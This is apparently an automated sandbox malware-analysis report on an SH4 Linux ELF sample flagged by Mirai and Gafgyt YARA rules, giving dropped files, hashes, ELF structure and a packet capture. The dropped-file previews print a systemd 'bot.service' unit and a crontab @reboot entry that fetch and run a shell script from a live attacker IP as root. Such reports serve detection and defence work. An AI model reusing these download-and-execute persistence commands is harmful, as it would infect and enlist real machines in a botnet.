SHA-512:	790249C1D362A8B259CDD8428937292F4DB3B97B405A021C805BF461482B60C310CAB6FBCDC04FCA8D07B28C9D1392410344B354E3EA57F4BA4CDC3D67CA9E0A
Malicious:	false
Preview:	5428 (/tmp/sh4.elf) 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0

/tmp/qemu-open.urZPAB (deleted)

Download File

Process:	/tmp/sh4.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	113
Entropy (8bit):	2.609500057911664
Encrypted:	false
SSDEEP:	3:ENFZgWNxVBdSQhVvX:ENjgKTWGf
MD5:	53C5763C34EF30DD5D58748E9E04CF93
SHA1:	884AE4BE4ED5D9BCDA1B1242FC46B78327E86B9A
SHA-256:	19490DE52A27C5B992C47A32124822FFDDBA8283B70AD1106D4D29A825EA6F1A
SHA-512:	2E7353524F32D47515EF7217244EF6ADFC1A8433CFAD5CF5805E2883C08337DB1348C225867D9E34C867D30E7773C8BF961AFEB9C8E89B7B842775BDD85F2F90
Malicious:	false
Preview:	5428 (/tmp/sh4.elf) 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 2147483056 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0.

/tmp/qemu-open.vmz8LC (deleted)

Download File

Process:	/tmp/sh4.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	113
Entropy (8bit):	2.609500057911664
Encrypted:	false
SSDEEP:	3:ENFZgWNxVBdSQhVvX:ENjgKTWGf
MD5:	53C5763C34EF30DD5D58748E9E04CF93
SHA1:	884AE4BE4ED5D9BCDA1B1242FC46B78327E86B9A
SHA-256:	19490DE52A27C5B992C47A32124822FFDDBA8283B70AD1106D4D29A825EA6F1A
SHA-512:	2E7353524F32D47515EF7217244EF6ADFC1A8433CFAD5CF5805E2883C08337DB1348C225867D9E34C867D30E7773C8BF961AFEB9C8E89B7B842775BDD85F2F90
Malicious:	false
Preview:	5428 (/tmp/sh4.elf) 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 2147483056 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0.

/tmp/qemu-open.vryxyB (deleted)

Download File

Process:	/tmp/sh4.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	113
Entropy (8bit):	2.609500057911664
Encrypted:	false
SSDEEP:	3:ENFZgWNxVBdSQhVvX:ENjgKTWGf
MD5:	53C5763C34EF30DD5D58748E9E04CF93
SHA1:	884AE4BE4ED5D9BCDA1B1242FC46B78327E86B9A
SHA-256:	19490DE52A27C5B992C47A32124822FFDDBA8283B70AD1106D4D29A825EA6F1A
SHA-512:	2E7353524F32D47515EF7217244EF6ADFC1A8433CFAD5CF5805E2883C08337DB1348C225867D9E34C867D30E7773C8BF961AFEB9C8E89B7B842775BDD85F2F90
Malicious:	false
Preview:	5428 (/tmp/sh4.elf) 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 2147483056 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0.

/tmp/qemu-open.ytdEWE (deleted)

Download File

Process:	/tmp/sh4.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	113
Entropy (8bit):	2.609500057911664
Encrypted:	false
SSDEEP:	3:ENFZgWNxVBdSQhVvX:ENjgKTWGf
MD5:	53C5763C34EF30DD5D58748E9E04CF93
SHA1:	884AE4BE4ED5D9BCDA1B1242FC46B78327E86B9A
SHA-256:	19490DE52A27C5B992C47A32124822FFDDBA8283B70AD1106D4D29A825EA6F1A
SHA-512:	2E7353524F32D47515EF7217244EF6ADFC1A8433CFAD5CF5805E2883C08337DB1348C225867D9E34C867D30E7773C8BF961AFEB9C8E89B7B842775BDD85F2F90
Malicious:	false
Preview:	5428 (/tmp/sh4.elf) 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 2147483056 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0.

/tmp/qemu-open.zUlOAD (deleted)

Download File

Process:	/tmp/sh4.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	113
Entropy (8bit):	2.609500057911664
Encrypted:	false
SSDEEP:	3:ENFZgWNxVBdSQhVvX:ENjgKTWGf
MD5:	53C5763C34EF30DD5D58748E9E04CF93
SHA1:	884AE4BE4ED5D9BCDA1B1242FC46B78327E86B9A
SHA-256:	19490DE52A27C5B992C47A32124822FFDDBA8283B70AD1106D4D29A825EA6F1A
SHA-512:	2E7353524F32D47515EF7217244EF6ADFC1A8433CFAD5CF5805E2883C08337DB1348C225867D9E34C867D30E7773C8BF961AFEB9C8E89B7B842775BDD85F2F90
Malicious:	false
Preview:	5428 (/tmp/sh4.elf) 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 2147483056 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0.

/tmp/sh4

Download File

Process:	/usr/bin/wget
File Type:	data
Category:	dropped
Size (bytes):	68933
Entropy (8bit):	6.865665060323873
Encrypted:	false
SSDEEP:	1536:WqjaIwtM1KP9ZFWQBz1PKej3FnvsOdCBfetH9:WYXLKVZr1SeFUOdpH9
MD5:	15F24BB45126DC740280434469C82527
SHA1:	1B75933D6F22887B3DF96CA94A257BA668C9255A
SHA-256:	EAF3F5FE9EBEEE5057044942A8ABCAA8F030B9BBFC9A35D55C1DF2EC8D62E31F
SHA-512:	EA448F34E1F5C4E30F1BECDEF5711472AA13A75947BB2EB301ADCA218F22AAEA60B690682CE1C3CA28CFDC0F652D16E4D684DE4B8B81317E59C1CAB6FDD4570B
Malicious:	false
Preview:	Saving to: .sh4...ELF.....................@.4...d.......4. ...(...............@...@...........................A...A......f..........Q.td............................././"O.n........#.@........#.*@.....o&O.n...l..............................././.../.a"O.!...n..a.b("...q.(.B...a.b("...q...!.....A.....).o&O.n.i.h......A.$.A.......@....../.."O.!...n.....A....Ba.!.....!...o&O.n+A.......................o&O.n............@...A...A........e.ff/F/.../.......A....+A.....`@...@...@...@...@............../Sa./Cc./.s./.u./Cg./.w./Cf.b.v.... $Cb.a.r.#.sTa.".rTa.'.wTa.#.sTa.&.vTa.".rTa.'.wTa.#.sTa.&.vTa.".rTa.'.wTa.#Ta.&Ta."Pa.'Ca.q.a.`..Ci.cCa.q. .aCjCkCl.eCa.qCm.aCn.y.bCa.q.a.z.{.\|.}.~...f.`.@./..,.\.l..e<..f,b..l.<fz!.c@a.t.x.#.`0),..a.%P+.a." -Da.&..`....n.m.l.k.j.i.h........@...@....../C`./.p./Ca./.q./Cc./.s./....B/....'.:..P.b.S,..V.W.a`e0b.c....p`,b..%..`....3`.@...a.1.1,m.b<3mB,1<c.#..<c<d1.C`.@.....a.1.1...bL4mB,1Ld.$LdB.\n...i.e,dC`=@...a.1.1.`.b=@mBL4,1..Ld.$.a.1.1...b.=mB..,1.m.-.m.l.

/tmp/sparc

Download File

Process:	/usr/bin/wget
File Type:	data
Category:	dropped
Size (bytes):	103763
Entropy (8bit):	5.932121495933978
Encrypted:	false
SSDEEP:	1536:yIwVsaIISBJYZ/UpFvWlkKO/T7lHPGxlsPYFS1eP64JjBhitux:ffISL4g7lvGLsPYhyehNx
MD5:	24B90CC98977F97316EDD2BC55E58854
SHA1:	5F3FECBB35E7FA4C2AF6B66D531795BE144FA57D
SHA-256:	06C7DF1B93BB929D15D061FE7334315E59AA1926D44AF949DCF86AD9A6D62403
SHA-512:	708C1E319DBF9E9605958F46EF0C97E41107FCEF2C9A6DEBE377D33B1B8F208AEF52C107BFB2E85E35CA4CCC88C2371B5B389CEC9D2F2CCC05A82197B5566D01
Malicious:	false
Preview:	Saving to: .sparc...ELF...........................4.........4. ...(......................l`..l`...........................`..u................H...H...H................dt.Q..............................@..(....@.T...............#.....``..`.....!....."...@.....".........`......$"..."...@...........`.......`...`....... ........... ... ..,``..........................`...`.............. .......`d.......X..`........X......`...`...........@............................#.....X...\...X...@......".....#8....@.C.............@.......`... ...`... ...`... ...`... ...`... ... .......`... ... .......`... ....../`...`... ... ....... ........../`...`... ... ....... ............../`....P...... ...aP.. ... ... ....... ....... ... ... ....... ... ....... .......@...@...@..6....@.......@....... ........... ... ... ... ........... ... ........,..... ............. ........... ... ...`..0.... ...@... ..(`...@..(...(`..&...&........ ......(`... ..0`..(`..7`... ..(`... ..#.......#...........

/tmp/x86_64

Download File

Process:	/usr/bin/wget
File Type:	data
Category:	dropped
Size (bytes):	73220
Entropy (8bit):	6.36315369725215
Encrypted:	false
SSDEEP:	1536:3q8jsGmXNEy6/1O54sBLKpJQfIGbOs0ju7nVhiEEclaQYSp+/:3rmXuZNO54KOpJQAGbGu7XiOlaQYS4/
MD5:	A0586EEE5043B6899B3B6D6B665668B7
SHA1:	7D765872D8C65F7DDCEAD1D8DEB5B340001F9EB5
SHA-256:	C014836447604FBB855C73B7551E169F9C027491740E90F1886A5B2B22F69F20
SHA-512:	968A2E50A54DA13F7B1D7BCB2697B08B49ABD2CA1B53CB60FA58641AC16013475BB3621BCD8957963CAFC715C32AFD54FB462B8327E81F92D4F2C39B54AFD56B
Malicious:	false
Yara Hits:	Rule: Linux_Trojan_Gafgyt_9e9530a7, Description: unknown, Source: /tmp/x86_64, Author: unknown Rule: Linux_Trojan_Gafgyt_807911a2, Description: unknown, Source: /tmp/x86_64, Author: unknown Rule: Linux_Trojan_Gafgyt_d4227dbf, Description: unknown, Source: /tmp/x86_64, Author: unknown Rule: Linux_Trojan_Gafgyt_d996d335, Description: unknown, Source: /tmp/x86_64, Author: unknown Rule: Linux_Trojan_Gafgyt_620087b9, Description: unknown, Source: /tmp/x86_64, Author: unknown Rule: Linux_Trojan_Gafgyt_33b4111a, Description: unknown, Source: /tmp/x86_64, Author: unknown Rule: Linux_Trojan_Mirai_520deeb8, Description: unknown, Source: /tmp/x86_64, Author: unknown Rule: Linux_Trojan_Mirai_01e4a728, Description: unknown, Source: /tmp/x86_64, Author: unknown Rule: Linux_Trojan_Mirai_e0cf29e2, Description: unknown, Source: /tmp/x86_64, Author: unknown
Preview:	Saving to: .x86_64...ELF..............>.......@.....@...................@.8...@.......................@.......@.....8.......8.......................8.......8.Q.....8.Q..............p..............Q.td....................................................H...._........H..........=.....UH..t..8.H...H..M.....H..D...H..H..u.....H..t..4.A...............fff.ff.U.....H..H..t.. .Q..4.A.....H.=.....t......H..t..X.Q.I...A..ff....1.I..^H..H...PTH...a@.H....@.I....@...........A.........F..G...F..G...F..G...F..G...F..G...F..G...F..G...F..G...F..G...F..G...F..G.D..F.D.G...N..O...V..W...F.A..H..A..G...A...H..D..G...O.D..O.D..W.u>...... .@.A...... .@.A...D... .@.A...D... .@.D.......2. .@.A..D2.2N.A..D2N.D2V.H...A..,D.F..N.D.N.D.V...x.........AWAVAUATUSH.\|$.H.T$.H.\|$.fff.ff.H.D$.A.....A.....A.....A...............A.....A........A......D$...R.H.D$.D..d$..T$...@.H.T$..D$...R.D.......l$.A...T$.C..$D.\-.1.D$....D$...D$.......A...0D$...D$.D$.....A.....1...D$.@...T$.D$......A.....A.....1......

/usr/lib/systemd/system/bot.service

Download File

Process:	/tmp/sh4.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	364
Entropy (8bit):	5.068874514735566
Encrypted:	false
SSDEEP:	6:z872KstRZAMg8uko4dj2+feEgwLGHPirvFNBj+gwLGHPiFLnLQmWA4Rv:zE2ltRZAXsQ+GEZQPirvFNBj+ZQPipLe
MD5:	133B647F9FE08D89F190507DF801C975
SHA1:	35E94FB2E6393E41D1B1898B87C451EF19862E92
SHA-256:	EEC28CC63A297662D59B8DE6E84C42C9CA0FD5529BAA4C641DA53BF3E450BB18
SHA-512:	EF4F195691B573C6F79B3C1A08A21EAB28E75F20746376FCAC219327B5E2DE562CC8C8DF389449186E3F70AC1A85CEC2DD5B257893DBD416967CF3A030524EE4
Malicious:	false
Preview:	[Unit].Description=My Miscellaneous Service.After=network.target..[Service].Type=simple.User=root.WorkingDirectory=/tmp.ExecStart=/bin/bash -c "/bin/wget http://217.156.66.6/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://217.156.66.6/bins/bins.sh; chmod +x bins.sh; sh bins.sh".Restart=no..[Install].WantedBy=multi-user.target.

/var/lib/fwupd/gnupg/.#lk0x0000558a2a781b80.galassia.5425

Download File

Process:	/usr/bin/gpg
File Type:	ASCII text
Category:	dropped
Size (bytes):	20
Entropy (8bit):	3.0086949695628418
Encrypted:	false
SSDEEP:	3:N/sQaEK/vn:/K/vn
MD5:	D983B6C8C56EC0B68EDA371B1A65E9C3
SHA1:	CCD61B0193FBDE4676F29BF36A0A9ADCF5EC0D58
SHA-256:	1F4C1BDAC4E2AC9E8EA518AB0A257F16A07EC9C90073319EC80DF128FEA49C3C
SHA-512:	E668202EB47AC46CCF25F3AD352AA7AF4D2F6AFAD3EC00D20384FB9FD252E809246027766920E4DE66107415F31F69CF40F64EA43EFD752A3FCB1C9908DCBEA8
Malicious:	false
Preview:	5425.galassia.

/var/lib/fwupd/gnupg/.#lk0x000055a82e2a7b80.galassia.5423

Download File

Process:	/usr/bin/gpg
File Type:	ASCII text
Category:	dropped
Size (bytes):	20
Entropy (8bit):	3.108694969562842
Encrypted:	false
SSDEEP:	3:N/sWxIvn:TIvn
MD5:	55461EEEDF2FD5F72680039782D1C883
SHA1:	2C6D4CDF2DA891FF82C62F58A1F70F6267584A79
SHA-256:	A306A7659B2F0FF79E0F31B1A71D404F2D9F8DB77F6DDAAD6225B50C0D32E53C
SHA-512:	89CB1F2CA6957203BF9F563FDC1E80407DFCCD51685292FE5E90916816281A9C14E4A8DEBAA1367D87F0E56C3D644129444F10F4FE18B082D3E88E5DC44FC70A
Malicious:	false
Preview:	5423.galassia.

/var/lib/fwupd/gnupg/.#lk0x000055e65c816b80.galassia.5441

Download File

Process:	/usr/bin/gpg
File Type:	ASCII text
Category:	dropped
Size (bytes):	20
Entropy (8bit):	3.0086949695628418
Encrypted:	false
SSDEEP:	3:N/qUPJE/vn:1JE/vn
MD5:	20E7BBE9595F27335077916066E4F04E
SHA1:	F4F5D8D30C2C68A020D47C0696622171D783F5E1
SHA-256:	B2E14C1E1ED828B58C86D91132F0372F11D85755EDF52AA24BEA50ACF0A6905B
SHA-512:	57E6CA61CCABCBCC638EA98BABEA4D5241E7A2D78072DF087FEF928D78CD971CA2379C7A877B6D851309DBD95BA82C5886FF0201C16FCEB4321248EF77032595
Malicious:	false
Preview:	5441.galassia.

/var/lib/fwupd/gnupg/.#lk0x000055eca1036b80.galassia.5427

Download File

Process:	/usr/bin/gpg
File Type:	ASCII text
Category:	dropped
Size (bytes):	20
Entropy (8bit):	3.108694969562842
Encrypted:	false
SSDEEP:	3:N/sSGvn:Ivn
MD5:	EB2D90BCBF031A68C2602AE72CEDE346
SHA1:	34D02277BB8FE1A53D5F6B5FB102D64A399BEE09
SHA-256:	05AD6B92ABC7779BCF031C578BC08C05ADDEE89BFFBC64102B444460E3CD5D2C
SHA-512:	131421650CF7F89EB0DC96FFF771DB19ECE0F238415BC157A5F1F60220CD4EEF062A2021E64B1443B829E5C9482BE4898A2308269E5BCB591AB38DD816CCD0AF
Malicious:	false
Preview:	5427.galassia.

/var/lib/fwupd/gnupg/pubring.kbx.tmp

Download File

Process:	/usr/bin/gpg
File Type:	GPG keybox database version 1, created-at Tue Aug 17 14:04:41 2021, last-maintained Mon Mar 31 12:08:09 2025
Category:	dropped
Size (bytes):	2534
Entropy (8bit):	7.6198373684659675
Encrypted:	false
SSDEEP:	48:szZ3Buh7g8ZMUfN1i9N+EvbYJYv20hIhoRU3h0LJv9ARRt:gUc8ZM+Y+AbcoRU3CARRt
MD5:	2CF7EBC1CD6F5609A221EFED93836800
SHA1:	AED12326C2DA2B3ADD1215D5F838BE0A4BD2A9D7
SHA-256:	B303AB4F69A3273CEA93CB9475C4243E593ADE414A85104F99832668358B4AC6
SHA-512:	CBBD95D373FA164E374A1BBA0E630999F1FD1253AE0BAC6ABED097379DA1EE754158A9E2AFFF8545A334EDCE1D7A50D55EF9491A73B3BED4F9CAA945858A5CD3
Malicious:	false
Preview:	... ....KBXf....a...g....................^........?..A..../.H...E8..... .............~............................a...........U.........T.x8.sU....K'....F....l...K....cL.`Y......=....^~.5\|.%.......2..../.h..O..T........'.6E....HV..?.6l.......e..1o.O.,Y3....1,..a4..\|..s.w......f2......gaIK..i...x.T...~..W..N."..Z..ia!..V..so.....<.6j..........3C&..t1..Gf...j..z...U.........gpg.........Linux Vendor Firmware Service <sign@fwupd.org>....gpg.........7.....!..U..................................H...E8..c....d.....d.....3....a..y..?...........l...1/...)......T.f....-..UoxT... .v...\|...7.....d..PB..>..W{...-..R....&S.....~..2.ps.8:...{..^{?..@.?..e6....y...c.Rw.SK.F.;U)...A..S> an....W.?.\|.{.dB....x~B...V....O....'./!...\|;...Xw.:.!.p,n.A.H\..\...).....gpg......z.......D<............~...$......B.Y..A...n.m...o=.... ......8>4.G8E..L...+G..Z...<.................Z............................a...........[.......I....DR:....!._.P..`.1..6.9..G....O.y.?.......

/var/spool/cron/crontabs/tmp.Eam4Sa

Download File

Process:	/usr/bin/crontab
File Type:	ASCII text
Category:	dropped
Size (bytes):	239
Entropy (8bit):	5.163442794944733
Encrypted:	false
SSDEEP:	6:SUrpqoqQjEOP1KmREJOBFQjT8XOiGMQ5UYLtCFt3HY8PgwLGHB:8QjHig8vKOUeHLUHYiZQB
MD5:	C64DBF7E56C31031C97E7B84204B768A
SHA1:	5A9F5BC6315DB7BBD340A8336FDA43FDE648DD91
SHA-256:	3584CD21AAE9959D8F5997F42D66D2203C577CDEC87D1B59075D24E2CD79AD81
SHA-512:	E27CA30D63EC1B9355B7039356366DAE859691D6E7B7EB40709DE71C4E8A268264D3C1D1A6850C2C1D4EA8699E5E0ED0A102B8B374CED54004BDA5FCAD096E4D
Malicious:	true
Preview:	# DO NOT EDIT THIS FILE - edit the master and reinstall..# (- installed on Mon Mar 31 07:08:08 2025).# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $).@reboot /bin/bash -c /bin/wget http://217.156.66.6/bins/bins.sh.

Static File Info

General

File type:	ELF 32-bit LSB executable, Renesas SH, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.8657363651339685
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	sh4.elf
File size:	68'756 bytes
MD5:	bc1b372f0aaba5c22317782cb4f1251a
SHA1:	5098f466816321a889be341243dbf0569aea2371
SHA256:	6980bdde453d2bc98d4310a8b430af29f2aab3cb278f12a16d6738aa62e7833e
SHA512:	a3b3682d094f97e33e8f4d91aa9f377a5e5b5fb5ce78030687fbb19c03b531b3f4e0ea984a68f688a392831404e68b988a814e4a62aa882d7a00160105ff898c
SSDEEP:	1536:NqMaIwtMNKP3ZFmQ5zVFKej3FnvsQdCB1etH:N/XzK/ZvVMeFUQdHH
TLSH:	FD633923DE16AF06C45755F0A2F28E780F52FC6A49631EFAA9A1EEE54043DD8F1053B4
File Content Preview:	.ELF.....................@.4...d.......4. ...(...............@...@...........................A...A......f..........Q.td............................././"O.n........#.@........#.*@.....o&O.n...l..............................././.../.a"O.!...n...a.b("...q.

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	<unknown>
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x4001a0
Flags:	0x9
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	68196
Section Header Size:	40
Number of Section Headers:	14
Header String Table Index:	13

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x400094	0x94	0x30	0x0	0x6	AX	4
.text	PROGBITS	0x4000e0	0xe0	0xe0e0	0x0	0x6	AX	32
.fini	PROGBITS	0x40e1c0	0xe1c0	0x24	0x0	0x6	AX	4
.rodata	PROGBITS	0x40e1e4	0xe1e4	0x1724	0x0	0x2	A	4
.eh_frame	PROGBITS	0x40f908	0xf908	0x4	0x0	0x2	A	4
.ctors	PROGBITS	0x41f90c	0xf90c	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x41f914	0xf914	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x41f91c	0xf91c	0x4	0x0	0x3	WA	4
.data	PROGBITS	0x41f920	0xf920	0x38c	0x0	0x3	WA	4
.got	PROGBITS	0x41fcac	0xfcac	0x10	0x4	0x3	WA	4
.bss	NOBITS	0x41fcbc	0xfcbc	0x6310	0x0	0x3	WA	4
.comment	PROGBITS	0x0	0xfcbc	0xd4a	0x0	0x0		1
.shstrtab	STRTAB	0x0	0x10a06	0x5b	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0xf90c	0xf90c	6.9080	0x5	R E	0x10000	.init .text .fini .rodata .eh_frame
LOAD	0xf90c	0x41f90c	0x41f90c	0x3b0	0x66c0	3.0919	0x6	RW	0x10000	.ctors .dtors .jcr .data .got .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Network Behavior

Download Network PCAP: filtered – full

Network Port Distribution

Total Packets: 919
• 1290 undefined
• 443 (HTTPS)
• 80 (HTTP)
• 53 (DNS)

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 31, 2025 14:08:01.737781048 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:01.737811089 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:01.737878084 CEST	36504	443	192.168.2.13	199.232.90.49
Mar 31, 2025 14:08:01.779314995 CEST	36504	443	192.168.2.13	199.232.90.49
Mar 31, 2025 14:08:01.793035984 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:01.840054035 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:01.840065956 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:01.840194941 CEST	36504	443	192.168.2.13	199.232.90.49
Mar 31, 2025 14:08:01.876316071 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:01.940931082 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:01.940944910 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:01.941143036 CEST	36504	443	192.168.2.13	199.232.90.49
Mar 31, 2025 14:08:01.959649086 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:01.959682941 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:01.959707022 CEST	36504	443	192.168.2.13	199.232.90.49
Mar 31, 2025 14:08:02.007335901 CEST	36504	443	192.168.2.13	199.232.90.49
Mar 31, 2025 14:08:02.043750048 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:02.044316053 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:02.044398069 CEST	36504	443	192.168.2.13	199.232.90.49
Mar 31, 2025 14:08:02.067523003 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:02.067564964 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:02.067753077 CEST	36504	443	192.168.2.13	199.232.90.49
Mar 31, 2025 14:08:02.109617949 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:02.175296068 CEST	36504	443	192.168.2.13	199.232.90.49
Mar 31, 2025 14:08:02.278183937 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:02.278229952 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:02.278291941 CEST	36504	443	192.168.2.13	199.232.90.49
Mar 31, 2025 14:08:02.278291941 CEST	36504	443	192.168.2.13	199.232.90.49
Mar 31, 2025 14:08:02.373105049 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:02.373280048 CEST	36504	443	192.168.2.13	199.232.90.49
Mar 31, 2025 14:08:02.380135059 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:02.380225897 CEST	36504	443	192.168.2.13	199.232.90.49
Mar 31, 2025 14:08:02.477878094 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:02.477940083 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:02.478120089 CEST	36504	443	192.168.2.13	199.232.90.49
Mar 31, 2025 14:08:02.478120089 CEST	36504	443	192.168.2.13	199.232.90.49
Mar 31, 2025 14:08:02.496424913 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:02.496439934 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:02.496584892 CEST	36504	443	192.168.2.13	199.232.90.49
Mar 31, 2025 14:08:02.573368073 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:02.590255022 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:02.590297937 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:02.590436935 CEST	36504	443	192.168.2.13	199.232.90.49
Mar 31, 2025 14:08:02.631485939 CEST	36504	443	192.168.2.13	199.232.90.49
Mar 31, 2025 14:08:02.631627083 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:02.692320108 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:02.692383051 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:02.692563057 CEST	36504	443	192.168.2.13	199.232.90.49
Mar 31, 2025 14:08:02.733937979 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:02.733974934 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:02.734107971 CEST	36504	443	192.168.2.13	199.232.90.49
Mar 31, 2025 14:08:02.789140940 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:02.789208889 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:02.789308071 CEST	36504	443	192.168.2.13	199.232.90.49
Mar 31, 2025 14:08:02.834809065 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:02.834871054 CEST	36504	443	192.168.2.13	199.232.90.49
Mar 31, 2025 14:08:02.908715963 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:02.908745050 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:02.908941031 CEST	36504	443	192.168.2.13	199.232.90.49
Mar 31, 2025 14:08:02.908941031 CEST	36504	443	192.168.2.13	199.232.90.49
Mar 31, 2025 14:08:02.947232008 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:02.947259903 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:02.947407961 CEST	36504	443	192.168.2.13	199.232.90.49
Mar 31, 2025 14:08:02.948344946 CEST	36504	443	192.168.2.13	199.232.90.49
Mar 31, 2025 14:08:03.010900974 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:03.012098074 CEST	36504	443	192.168.2.13	199.232.90.49
Mar 31, 2025 14:08:03.020207882 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:03.020297050 CEST	36504	443	192.168.2.13	199.232.90.49
Mar 31, 2025 14:08:03.047161102 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:03.047266960 CEST	36504	443	192.168.2.13	199.232.90.49
Mar 31, 2025 14:08:03.054647923 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:03.103408098 CEST	36504	443	192.168.2.13	199.232.90.49
Mar 31, 2025 14:08:03.110718966 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:03.118683100 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:03.118886948 CEST	36504	443	192.168.2.13	199.232.90.49
Mar 31, 2025 14:08:03.145658970 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:03.202704906 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:03.202924013 CEST	36504	443	192.168.2.13	199.232.90.49
Mar 31, 2025 14:08:03.218518019 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:03.218550920 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:03.218697071 CEST	36504	443	192.168.2.13	199.232.90.49
Mar 31, 2025 14:08:03.299372911 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:03.299434900 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:03.299488068 CEST	36504	443	192.168.2.13	199.232.90.49
Mar 31, 2025 14:08:03.319948912 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:03.320015907 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:03.320059061 CEST	36504	443	192.168.2.13	199.232.90.49
Mar 31, 2025 14:08:03.398700953 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:03.398731947 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:03.398761988 CEST	36504	443	192.168.2.13	199.232.90.49
Mar 31, 2025 14:08:03.398761988 CEST	36504	443	192.168.2.13	199.232.90.49
